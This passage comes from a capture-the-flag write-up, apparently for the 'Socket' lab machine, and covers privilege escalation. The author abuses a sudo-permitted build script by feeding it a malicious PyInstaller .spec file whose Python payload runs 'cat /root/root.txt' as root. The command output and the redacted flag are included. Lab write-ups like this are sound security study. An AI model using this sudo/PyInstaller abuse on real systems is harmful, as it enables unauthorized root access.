elif [[ $action == 'cleanup' ]]; then
/usr/bin/rm -r ./build ./dist 2>/dev/null
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/usr/bin/rm /tmp/qreader* 2>/dev/null
else
/usr/bin/echo 'Invalid action'
exit 1;
fi
So, let's analyze the script, it accepts two parameters or one provided it contains the word "cleanup". The second parameter is passed to the awk command, which splits it using the dot (.) as separator and takes the last value. A quick check on a possible symlink (they want to make things difficult to us). At this point, the only actions allowed by the script are: build, make or cleanup. The last one simply deletes some folders. Let's see in detail the build and the make. And here is explained the split of the second parameter on the point, which turns out to be the name of a file. If the file extension is therefore "spec" in the case of action build or "py" in the case of action make, then the script continues, otherwise it stops showing an error message. In both cases, the "pyinstaller" command is started (which creates an executable binary) and subsequently copied together with the ".build" and ".dist" folders in the /opt/shared folder. Well, there are two possible attack points: the "awk" command and the "pyinstaller" command. Let's see what we can do. My first approach is the awk command, which I've already seen on the GTFOBin portal.
As much as I go around it, I can't find anything that can be exploited in this specific scenario. Let's move on to the "pyinstaller" command. I remember something about it, especially the file used in the build, i.e., the .spec file, but I need to refresh this.
OK. Clear, but I don't have enough experience with this type of script to prepare a valid payload... let's see if chatGPT can help me!
Meanwhile, a simple python script that is useless.
def sum(a, b):
return a + b
num1 = float(input("Insert first number: "))
num2 = float(input("Insert second number: "))
result = sum(num1, num2)
print("Result is:", result)
The malicious script containing root flag captures!
import subprocess
def run_command(command):
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output, error = process.communicate()
return output.decode().strip()
run_output = run_command("cat /root/root.txt")
print("Output del comando: ", run_output)
a = Analysis(['script.py'],
pathex=['path_del_file'],
binaries=[],
datas=[],
)
And we execute the attack with root privileges.
tkeller@socket:~/tmp$ sudo /usr/local/sbin/build-installer.sh build script.spec
124 INFO: PyInstaller: 5.6.2
124 INFO: Python: 3.10.6
127 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
132 INFO: UPX is not available.
Output del comando: 7******************************d
136 INFO: Extending PYTHONPATH with paths
['/home/tkeller/tmp', '/home/tkeller/tmp/path_del_file']
451 INFO: checking Analysis
451 INFO: Building Analysis because Analysis-00.toc is non existent
451 INFO: Initializing module dependency graph...
453 INFO: Caching module graph hooks...
458 WARNING: Several hooks defined for module 'numpy'. Please take care they do not conflict.
461 INFO: Analyzing base_library.zip ...
1292 INFO: Loading module hook 'hook-heapq.py' from '/root/.local/lib/python3.10/site-packages/PyInstaller/hooks'...
1381 INFO: Loading module hook 'hook-encodings.py' from '/root/.local/lib/python3.10/site-packages/PyInstaller/hooks'...
2886 INFO: Loading module hook 'hook-pickle.py' from '/root/.local/lib/python3.10/site-packages/PyInstaller/hooks'...
4217 INFO: Caching module dependency graph...
4329 INFO: running Analysis Analysis-00.toc
4362 INFO: Analyzing /home/tkeller/tmp/script.py
4363 INFO: Processing module hooks...
4373 INFO: Looking for ctypes DLLs
4376 INFO: Analyzing run-time hooks ...
4378 INFO: Including run-time hook '/root/.local/lib/python3.10/site-packages/PyInstaller/hooks/rthooks/pyi_rth_inspect.py'
4380 INFO: Including run-time hook '/root/.local/lib/python3.10/site-packages/PyInstaller/hooks/rthooks/pyi_rth_subprocess.py'
4384 INFO: Looking for dynamic libraries
4899 INFO: Looking for eggs
4899 INFO: Python library not in binary dependencies. Doing additional searching...
4920 INFO: Using Python library /lib/x86_64-linux-gnu/libpython3.10.so.1.0
4922 INFO: Warnings written to /home/tkeller/tmp/build/script/warn-script.txt
4939 INFO: Graph cross-reference written to /home/tkeller/tmp/build/script/xref-script.html
Wooo. Amazing. Quite a piece of cake! Well, that's all, folks. I'll meet you at the next BOX. Have a nice hacking! Bye!